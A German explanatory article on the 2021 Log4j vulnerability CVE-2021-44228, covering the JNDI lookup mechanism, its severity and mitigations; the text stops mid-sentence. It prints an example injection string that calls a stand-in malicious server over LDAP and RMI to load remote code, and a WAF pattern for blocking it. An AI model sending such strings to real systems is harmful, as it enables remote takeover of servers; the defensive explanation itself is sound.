Kritische Sicherheitslücke in der beliebten Java-Bibliothek Log4j: Was jeder Entwickler wissen muss
Am 10. Dezember 2021 ereignete sich in der Gemeinschaft der Java-Entwickler ein Vorfall, den Cybersicherheitsexperten bereits als "eine der schwerwiegendsten Bedrohungen des Jahrzehnts" bezeichnet haben. Die Rede ist von der kritischen Sicherheitslücke CVE-2021-44228 in der Bibliothek Apache Log4j – einem der beliebtesten Werkzeuge für das Logging in Java-Anwendungen. Die Schwachstelle ermöglicht es einem Angreifer, aus der Ferne beliebigen Code (Remote Code Execution, RCE) auf dem Server auszuführen, indem er lediglich eine einzige Zeile in ein Eingabefeld eingibt.
Was ist Log4j und warum ist das wichtig?
Log4j ist eine Open-Source-Bibliothek, die in praktisch allen großen Java-Projekten verwendet wird: von Unternehmenssystemen bis hin zu Cloud-Diensten (Amazon, Apple, Twitter, Minecraft und Tausende andere). Die Bibliothek ist für die Aufzeichnung von Ereignissen (Logs) zuständig – Fehlern, Warnungen und Debug-Informationen. Die Sicherheitslücke betrifft Log4j-Versionen von 2.0 bis 2.14.1.
Wie funktioniert der Angriff?
Das Problem liegt im JNDI-Mechanismus (Java Naming and Directory Interface), den Log4j verwendet, um Werte aus externen Quellen einzusetzen. Ein Angreifer kann eine HTTP-Anfrage mit einer schädlichen Zeichenfolge wie dieser senden:
${jndi:ldap://bösartiger-server/exploit}${jndi:rmi://bösartiger-server/exploit}
Wenn die Anwendung den Inhalt dieser Anfrage protokolliert (z. B. User-Agent oder Header), führt Log4j eine JNDI-Abfrage an den angegebenen Server durch. Als Antwort kann der Server eine schädliche Java-Klasse auf den angegriffenen Rechner laden, was dem Hacker die vollständige Kontrolle über den Server gibt.
Warum wird die Sicherheitslücke als kritisch bezeichnet?
Experten haben der Schwachstelle die höchste Gefahrenbewertung zugewiesen – 10.0 von 10.0 auf der CVSS-Skala. Die Gründe:
- Einfache Ausnutzbarkeit – es sind keine Authentifizierung oder spezielle Fähigkeiten erforderlich.
- Massenhafte Verbreitung – Log4j wird in Millionen von Anwendungen verwendet.
- Schwierige Erkennung – der Angriff kann unbemerkt bleiben, da er keine offensichtlichen Spuren in den Standard-Logs hinterlässt.
Wie kann man sich schützen?
Entwickler und Administratoren müssen sofort die folgenden Schritte unternehmen:
- Log4j auf Version 2.15.0 oder höher aktualisieren – der Patch blockiert den JNDI-Substitutionsmechanismus standardmäßig.
- JNDI vorübergehend deaktivieren – falls ein Update nicht möglich ist, fügen Sie den JVM-Parameter hinzu:
-Dlog4j2.formatMsgNoLookups=true. - Abhängigkeiten überprüfen – viele Bibliotheken (Spring Boot, Struts, Hibernate) enthalten Log4j als transitive Abhängigkeit. Verwenden Sie Maven/Gradle, um veraltete Versionen zu finden.
- Datenverkehr überwachen – konfigurieren Sie WAF-Regeln (Web Application Firewall), um Anfragen zu blockieren, die
${jndi:enthalten.
Fazit
Die Sicherheitslücke in Log4j ist eine Erinnerung daran, dass selbst die bewährtesten Komponenten fatale Fehler enthalten können. Für die Java-Community war dieses Ereignis ein Anlass, den Umgang mit Abhängigkeiten und die Sicherheit der Software-Lieferkette zu überdenken. Wenn Sie Java in Ihren Projekten verwenden, überprüfen Sie die Version von Log4j